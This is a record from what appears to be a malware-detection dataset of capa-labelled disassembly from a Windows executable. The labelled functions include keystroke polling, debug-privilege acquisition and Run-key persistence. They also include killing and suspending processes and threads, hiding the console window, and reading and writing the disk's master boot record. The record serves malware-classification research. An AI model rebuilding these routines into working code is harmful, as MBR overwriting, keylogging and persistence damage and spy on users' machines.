joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401a00
Capabilities:
Manipulate console buffer

Disassembly:
push ebx
sub esp, 0x18
movzx ebx, word [esp + 0x20]
movzx eax, word [esp + 0x24]
mov dword [esp], 0xfffffff5
add eax, eax
mov edx, ebx
shl edx, 0x10
movzx ebx, ax
or ebx, edx
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
sub esp, 4
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
sub esp, 8
add esp, 0x18
pop ebx
ret

Function at 0x401a80
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x3c
mov ebx, dword [esp + 0x54]
mov esi, dword [esp + 0x58]
mov edi, dword [esp + 0x5c]
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym.gto_int__int_
mov eax, dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [esp], 0xfffffff5
mov dword [esp + 0x1c], eax
call eax
mov ebp, dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
sub esp, 4
mov dword [esp + 4], 0xf0
mov dword [esp], eax
call ebp
sub esp, 8
mov dword [esp + 4], edi
mov dword [esp], 0x4e600e
call sym.printf_char_const__..._
lea eax, [esp + 0x28]
mov dword [esp], eax
call sym.GetPos_tagPOINT_
xor eax, eax
cmp dword [esp + 0x2c], ebx
je 0x401b00
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret
mov edx, dword [esp + 0x28]
cmp edx, esi
jl 0x401aee
mov ecx, dword [esp + 0x60]
shr ecx, 0x1f
add ecx, dword [esp + 0x60]
sar ecx, 1
add ecx, esi
cmp edx, ecx
jg 0x401aee
mov dword [esp], 0xfffffff5
mov eax, dword [esp + 0x1c]
call eax
sub esp, 4
mov dword [esp + 4], 0x20
mov dword [esp], eax
call ebp
sub esp, 8
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym.gto_int__int_
mov dword [esp + 4], edi
mov dword [esp], 0x4e600e
call sym.printf_char_const__..._
mov dword [esp], 1
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
sub esp, 4
shr ax, 0xf
jmp 0x401aee

Function at 0x401c80
Capabilities:
Get token membership

Disassembly:
sub esp, 0x4c
mov eax, 0x500
mov word [esp + 0x3e], ax
lea eax, [esp + 0x30]
mov dword [esp + 0x28], eax
lea eax, [esp + 0x3a]
mov dword [esp + 0x3a], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x220
mov dword [esp + 8], 0x20
mov dword [esp + 4], 2
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
sub esp, 0x2c
mov dword [esp + 0x34], eax
test eax, eax
jne 0x401d10
mov eax, dword [esp + 0x50]
call sym.GetAdmin_int___clone_.part.0_
lea esi, [esi]
lea esi, [esi]
lea eax, [esp + 0x34]
mov dword [esp], 0
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
sub esp, 0xc
mov eax, dword [esp + 0x30]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
sub esp, 4
cmp dword [esp + 0x34], 1
jne 0x401cfd
xor eax, eax
add esp, 0x4c
ret
Function at 0x401d50
Capabilities:
Acquire debug privileges

Disassembly:
push ebx
xor ebx, ebx
sub esp, 0x48
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea edx, [esp + 0x24]
mov dword [esp + 4], 0x28
mov dword [esp + 8], edx
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
sub esp, 0xc
test eax, eax
jne 0x401d88
add esp, 0x48
mov eax, ebx
pop ebx
ret
lea eax, [esp + 0x28]
mov dword [esp + 4], str.SeDebugPrivilege
mov dword [esp + 8], eax
mov dword [esp], 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
sub esp, 0xc
test eax, eax
je 0x401e30
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
mov dword [esp + 0x30], 1
mov ebx, 1
mov dword [esp + 0x3c], 2
mov dword [esp + 0x34], eax
lea eax, [esp + 0x30]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 0x38], edx
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x10
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
sub esp, 0x18
test eax, eax
jne 0x401d7c
mov eax, dword [esp + 0x24]
xor ebx, ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
jmp 0x401d7c
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
sub esp, 4
add esp, 0x48
pop ebx
ret
Function at 0x402270
Capabilities:
Get session user name
Log keystrokes via polling

Disassembly:
push ebx
sub esp, 0x18
mov ebx, dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov dword [esp], 0x12
call ebx
sub esp, 4
test ax, ax
js 0x402290
add esp, 0x18
pop ebx
ret
mov dword [esp], 0x10
call ebx
sub esp, 4
test ax, ax
jns 0x40228b
mov dword [esp], 0x53
call ebx
sub esp, 4
test ax, ax
jns 0x40228b
add esp, 0x18
pop ebx
jmp sym.PrintScreen____clone_.part.0_

Function at 0x4022e0
Capabilities:
Get process image filename

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x24c
mov dword [esp + 4], 0
mov ebp, dword [esp + 0x260]
mov dword [esp], 2
call sym._CreateToolhelp32Snapshot_8
mov ecx, 0x4a
sub esp, 8
mov ebx, eax
xor eax, eax
lea esi, [esp + 0x118]
mov edi, esi
rep stosd dword es:[edi], eax
lea edi, [esp + 0x13c]
mov dword [esp + 0x118], 0x128
jmp 0x402347
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._Process32Next_8
sub esp, 8
test eax, eax
je 0x402410
mov dword [esp + 4], edi
mov dword [esp], ebp
call sym._strcmp
test eax, eax
jne 0x402330
mov esi, dword [esp + 0x120]
mov dword [esp], ebx
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
sub esp, 4
mov eax, dword [esp + 0x264]
test eax, eax
je 0x402400
mov eax, dword [esp + 0x264]
mov byte [eax], 0
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov dword [esp], 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
sub esp, 0xc
mov ebx, eax
test eax, eax
je 0x402400
lea esi, [esp + 0x14]
mov dword [esp + 8], 0x104
mov dword [esp + 4], esi
mov dword [esp], eax
call sym._GetProcessImageFileNameA_12
sub esp, 0xc
test eax, eax
je 0x4023f8
mov edx, dword [esp + 0x264]
mov eax, esi
call sym.DosPathToNtPath_char__char___clone_.part.0_
mov dword [esp], ebx
mov esi, eax
test eax, eax
je 0x402420
call edi
mov esi, 1
sub esp, 4
mov eax, esi
add esp, 0x24c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], ebx
call edi
sub esp, 4
add esp, 0x24c
xor esi, esi
pop ebx
mov eax, esi
pop esi
pop edi
pop ebp
ret
xor esi, esi
jmp 0x40235e
call edi
mov eax, esi
sub esp, 4
add esp, 0x24c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x402440
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push edi
xor eax, eax
mov ecx, 0x7f
push esi
push ebx
sub esp, 0x210
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 0
rep stosd dword es:[edi], eax
mov dword [esp + 4], 0x4e60b5
mov dword [esp], str..PhysicalDrive0
call sym._fopen
test eax, eax
je 0x402518
mov dword [esp], eax
mov ebx, eax
call sym._feof
mov edx, eax
mov eax, 1
test edx, edx
je 0x4024a0
add esp, 0x210
pop ebx
pop esi
pop edi
ret
mov dword [esp + 8], 0
lea esi, [esp + 0x10]
mov dword [esp + 4], 0
mov dword [esp], ebx
call sym._fseek
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 1
mov dword [esp + 4], 0x200
mov dword [esp], esi
call sym._fread
mov dword [esp + 4], 0x4e60cc
mov dword [esp], str.DataMBRData.data
call sym._fopen
mov edi, eax
test eax, eax
je 0x402518
mov dword [esp], eax
call sym._feof
test eax, eax
je 0x402528
mov dword [esp], ebx
call sym._fclose
add esp, 0x210
mov eax, 1
pop ebx
pop esi
pop edi
ret
add esp, 0x210
xor eax, eax
pop ebx
pop esi
pop edi
ret
mov dword [esp + 0xc], edi
mov dword [esp + 8], 1
mov dword [esp + 4], 0x200
mov dword [esp], esi
call sym._fwrite
mov dword [esp], edi
call sym._fclose
jmp 0x4024fe

Function at 0x402550
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push edi
xor eax, eax
mov ecx, 0x7f
push esi
push ebx
sub esp, 0x210
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 0
rep stosd dword es:[edi], eax
mov dword [esp + 4], 0x4e60b5
mov dword [esp], str.DataMBRData.data
call sym._fopen
test eax, eax
je 0x402628
mov dword [esp], eax
mov ebx, eax
call sym._feof
mov edx, eax
mov eax, 1
test edx, edx
je 0x4025b0
add esp, 0x210
pop ebx
pop esi
pop edi
ret
mov dword [esp + 8], 0
lea esi, [esp + 0x10]
mov dword [esp + 4], 0
mov dword [esp], ebx
call sym._fseek
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 1
mov dword [esp + 4], 0x200
mov dword [esp], esi
call sym._fread
mov dword [esp + 4], 0x4e60cc
mov dword [esp], str..PhysicalDrive0
call sym._fopen
mov edi, eax
test eax, eax
je 0x402628
mov dword [esp], eax
call sym._feof
test eax, eax
je 0x402638
mov dword [esp], ebx
call sym._fclose
add esp, 0x210
mov eax, 1
pop ebx
pop esi
pop edi
ret
add esp, 0x210
xor eax, eax
pop ebx
pop esi
pop edi
ret
mov dword [esp + 0xc], edi
mov dword [esp + 8], 1
mov dword [esp + 4], 0x200
mov dword [esp], esi
call sym._fwrite
mov dword [esp], edi
call sym._fclose
jmp 0x40260e
Function at 0x402660
Capabilities:
Delete registry value
Persist via run registry key
Set registry value

Disassembly:
push edi
mov eax, 0x1034
push ebx
call fcn.00413740
mov ecx, 0x3ff
sub esp, eax
xor eax, eax
lea edi, [esp + 0x34]
mov dword [esp + 0x30], 0
mov ebx, dword [esp + 0x1040]
rep stosd dword es:[edi], eax
lea edi, [esp + 0x30]
mov dword [esp], 0
mov dword [esp + 8], 0x1000
mov dword [esp + 4], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
sub esp, 0xc
lea eax, [esp + 0x2c]
mov dword [esp + 0x2c], 0
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
mov dword [esp], 0x80000002
test bl, bl
je 0x4026f8
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
sub esp, 0x14
test eax, eax
je 0x402740
add esp, 0x1034
xor eax, eax
pop ebx
pop edi
ret
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
sub esp, 0x14
test eax, eax
jne 0x4026ea
mov eax, dword [esp + 0x2c]
mov dword [esp + 4], str.Cdun
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
sub esp, 8
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
sub esp, 4
add esp, 0x1034
pop ebx
pop edi
ret
mov edx, edi
mov ecx, dword [edx]
add edx, 4
lea eax, [ecx - 0x1010101]
not ecx
and eax, ecx
and eax, 0x80808080
je 0x402742
mov ecx, eax
mov dword [esp + 0x10], edi
shr ecx, 0x10
test eax, 0x8080
mov dword [esp + 0xc], 1
cmove eax, ecx
lea ecx, [edx + 2]
mov dword [esp + 8], 0
cmove edx, ecx
mov dword [esp + 4], str.Cdun
mov ebx, eax
add bl, al
mov eax, dword [esp + 0x2c]
sbb edx, 3
sub edx, edi
mov dword [esp], eax
add edx, 1
mov dword [esp + 0x14], edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
sub esp, 0x18
jmp 0x40271d

Function at 0x4029a0
Capabilities:
Enumerate processes

Disassembly:
push ebp
xor ebp, ebp
push edi
push esi
push ebx
sub esp, 0x14c
mov dword [esp + 4], 0
mov edi, dword [esp + 0x160]
mov dword [esp], 2
call sym._CreateToolhelp32Snapshot_8
sub esp, 8
mov ebx, eax
lea esi, [esp + 0x18]
mov dword [esp], eax
mov dword [esp + 4], esi
mov dword [esp + 0x18], 0x128
call sym._Process32First_8
sub esp, 8
test eax, eax
je 0x402a31
lea ebp, [esp + 0x3c]
jmp 0x402a08
mov dword [esp + 4], edi
mov dword [esp], ebp
call sym._strcmp
test eax, eax
je 0x402a40
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x18], 0x128
call sym._Process32Next_8
sub esp, 8
test eax, eax
jne 0x4029f8
xor ebp, ebp
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
add esp, 0x14c
mov eax, ebp
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x20]
mov edi, dword [esp + 0x164]
mov ecx, 0x4a
rep movsd dword es:[edi], dword [esi]
test eax, eax
setne al
mov ebp, eax
jmp 0x402a25
Function at 0x402b00
Capabilities:
Terminate process

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x14c
mov dword [esp + 4], 0
mov ebp, dword [esp + 0x160]
mov dword [esp], 2
call sym._CreateToolhelp32Snapshot_8
mov ecx, 0x4a
sub esp, 8
mov ebx, eax
xor eax, eax
lea esi, [esp + 0x18]
mov edi, esi
rep stosd dword es:[edi], eax
mov dword [esp + 0x18], 0x128
lea edi, [esp + 0x3c]
jmp 0x402b63
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._Process32Next_8
sub esp, 8
test eax, eax
je 0x402b77
mov dword [esp + 4], edi
mov dword [esp], ebp
call sym._strcmp
test eax, eax
jne 0x402b50
mov eax, dword [esp + 0x20]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
sub esp, 0xc
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
sub esp, 8
mov esi, eax
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
test esi, esi
setne al
add esp, 0x14c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402bd0
Capabilities:
Enumerate threads
Resume thread
Suspend thread

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x4c
mov esi, dword [esp + 0x60]
movzx eax, byte [esp + 0x64]
mov dword [esp], 4
mov dword [esp + 4], esi
mov byte [esp + 0x1b], al
call sym._CreateToolhelp32Snapshot_8
mov ebx, eax
sub esp, 8
xor eax, eax
cmp ebx, 0xffffffff
jne 0x402c10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
xor edx, edx
xor eax, eax
mov dword [esp + eax + 0x28], edx
add eax, 4
cmp eax, 0x18
jb 0x402c14
lea edi, [esp + 0x24]
mov dword [esp], ebx
mov dword [esp + 4], edi
mov dword [esp + 0x24], 0x1c
call sym._Thread32First_8
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 8
test eax, eax
jne 0x402c63
jmp 0x402cb8
mov dword [esp + 4], edi
mov dword [esp], ebx
call sym._Thread32Next_8
sub esp, 8
test eax, eax
je 0x402cb8
cmp dword [esp + 0x30], esi
jne 0x402c50
mov eax, dword [esp + 0x2c]
mov dword [esp + 4], 0
mov dword [esp], 2
mov dword [esp + 8], eax
call dword [sym.imp.KERNEL32.dll_OpenThread]
sub esp, 0xc
mov edx, eax
test eax, eax
je 0x402caa
cmp byte [esp + 0x1b], 0
mov dword [esp], eax
mov dword [esp + 0x1c], eax
je 0x402cd0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
sub esp, 4
mov edx, dword [esp + 0x1c]
mov dword [esp], edx
call ebp
sub esp, 4
jmp 0x402c50
mov dword [esp], ebx
call ebp
mov eax, 1
sub esp, 4
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_ResumeThread]
sub esp, 4
mov edx, dword [esp + 0x1c]
jmp 0x402caa
Function at 0x404200
Capabilities:
Hide graphical window
Log keystrokes via polling

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp + 4], 0x4e6243
mov dword [esp], 0
call dword [sym.imp.USER32.dll_FindWindowA]
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
sub esp, 8
mov dword [0x4f2030], eax
mov dword [esp + 4], 0
mov dword [esp], eax
call esi
sub esp, 8
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x4e6288
mov dword [esp + 4], 0x4e6290
mov dword [esp], 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ebx, dword [sym.imp.USER32.dll_GetAsyncKeyState]
sub esp, 0x10
lea esi, [esi]
lea esi, [esi]
call sym.PrintScreen__
mov dword [esp], 0x11
call ebx
sub esp, 4
test ax, ax
jns 0x404270
mov dword [esp], 0x12
call ebx
sub esp, 4
test ax, ax
jns 0x404270
mov dword [esp], 0x43
call ebx
sub esp, 4
test ax, ax
jns 0x404270
mov eax, dword [0x4f2030]
mov dword [esp + 4], 5
mov dword [esp], eax
call esi
sub esp, 8
call sym.GetInput__
lea esi, [esi]
lea esi, [esi]
Function at 0x412af0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x412b50
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x4f27dc]
test esi, esi
jle 0x412c50
mov eax, dword [0x4f27e0]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x412b80
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x412bff
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x412b70
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x412c77
mov eax, dword [0x4f27e0]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x4f27e0]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x412c57
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x412bf8
sub eax, 4
and eax, 0xfffffffb
jne 0x412c06
add dword [0x4f27dc], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x20]
add ebx, dword [0x4f27e0]
mov dword [ebx + 4], eax
mov dword [ebx + 8], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x40
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x412bf8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
xor esi, esi
jmp 0x412b8a
mov eax, dword [0x4f27e0]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop
Function at 0x413130
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x4f27f8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x4f27f0]
sub esp, 4
test ebx, ebx
je 0x413185
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x41317e
test esi, esi
je 0x41317e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x413160
mov dword [esp], 0x4f27f8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x414a80
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov esi, dword [ebp + 8]
mov dword [esp], esi
call sym._strlen
mov ebx, eax
add eax, 0x10
mov dword [ebp - 0x1c], eax
lea eax, [ebx + 0x41]
lea ecx, [ebx + 0x31]
shr eax, 4
mov dword [ebp - 0x20], ecx
shl eax, 4
call fcn.00413740
mov edx, 0x326d
sub esp, eax
lea eax, [esp + 0x1b]
mov dword [esp + 8], ebx
lea edi, [esp + 0xc]
mov dword [esp + 4], esi
mov dword [esp], eax
mov word [esp + 0x18], dx
mov dword [esp + 0xc], 0x2d636367
mov dword [esp + 0x10], 0x656d6873
mov dword [esp + 0x14], 0x64742d6d
mov byte [esp + 0x1a], 0x2d
call sym._memcpy
lea eax, [ebx + 0x10]
add eax, edi
mov dword [eax], 0x61616161
mov dword [eax + 4], 0x61616161
mov dword [eax + 8], 0x61616161
mov dword [eax + 0xc], 0x61616161
mov dword [eax + 0x10], 0x61616161
mov dword [eax + 0x14], 0x61616161
mov dword [eax + 0x18], 0x61616161
mov dword [eax + 0x1c], 0x61616161
mov byte [esp + ebx + 0x3c], 0
mov byte [esp + ebx + 0x1b], 0
mov dword [esp + 8], edi
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [edi + ebx + 0xf], 0x2d
sub esp, 0xc
mov dword [ebp - 0x24], eax
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
test eax, eax
je 0x414b74
int3
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_FindAtomA]
sub esp, 4
test ax, ax
je 0x414bc0
mov ecx, dword [ebp - 0x1c]
movzx eax, ax
mov edx, edi
mov dword [esp], ecx
mov ecx, dword [ebp - 0x20]
call dbg.get_ptr_from_atom
mov ebx, eax
mov edi, dword [ebp - 0x24]
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
sub esp, 4
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
sub esp, 4
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [ebp + 0xc]
add ebx, edi
mov dword [esp], eax
call sym._malloc
mov edx, 0x20
mov esi, eax
lea esi, [esi]
bt esi, edx
jae 0x414be6
mov eax, edx
neg eax
mov byte [ebx + eax + 0x30], 0x41
sub edx, 1
jne 0x414bd8
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_AddAtomA]
sub esp, 4
test ax, ax
jne 0x414bfd
int3
mov ecx, dword [ebp - 0x1c]
movzx eax, ax
mov edx, edi
mov dword [esp], ecx
mov ecx, dword [ebp - 0x20]
call dbg.get_ptr_from_atom
mov ebx, eax
cmp esi, eax
je 0x414c23
mov dword [esp], esi
call sym._free
jmp 0x414b9a
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], 0
mov dword [esp], ebx
mov dword [esp + 8], eax
call sym._memset
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x414b9a
mov dword [esp], ebx
call dword [ebp + 0x10]
jmp 0x414b9a
Function at 0x422440
Capabilities:
Allocate thread local storage

Disassembly:
push ebx
sub esp, 0x18
mov ebx, dword [0x4f3234]
test ebx, ebx
je 0x422470
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [ebx], eax
mov eax, dword [0x4f3234]
test eax, eax
je 0x422498
cmp dword [eax], 0xffffffff
je sym._pthread_tls_init.cold
add esp, 0x18
pop ebx
ret
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x4f3234], eax
mov ebx, eax
jmp 0x42244e
mov dword [esp + 8], sym.___shmem_winpthreads_init__pthread_tls_shmem
mov dword [esp + 4], 4
mov dword [esp], str._pthread_tls_shmem
call sym.___shmem_winpthreads_grab
mov dword [0x4f3234], eax
jmp 0x42245f

Function at 0x422940
Capabilities:
Print debug messages

Disassembly:
test eax, eax
je 0x422970
push edi
push esi
push ebx
mov ebx, eax
add esp, 0xffffff80
mov dword [esp], eax
call sym._pthread_spin_destroy
cmp eax, 1
je 0x422971
mov dword [ebx], 0xffffffff
sub esp, 0xffffff80
pop ebx
pop esi
pop edi
ret
ret
lea ebx, [esp + 0x15]
xor eax, eax
mov esi, str.Error_cleaning_up_spin_keys_for_thread
mov ecx, 0xa
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
lea edi, [esp + 0x3d]
mov ecx, 0x43
rep stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea edx, [esp + 0x3c]
mov dword [esp + 8], 0xa
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.msvcrt.dll__ultoa]
cmp byte [esp + 0x3c], 0
mov eax, 0x27
jne 0x4229c5
jmp 0x4229d3
cmp eax, 0x6a
je 0x4229dd
add eax, 1
cmp byte [ebx + eax], 0
jne 0x4229c0
cmp eax, 0x6a
je 0x4229dd
mov byte [esp + eax + 0x15], 0xa
mov byte [esp + eax + 0x16], 0
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push eax
call sym._abort
lea esi, [esi]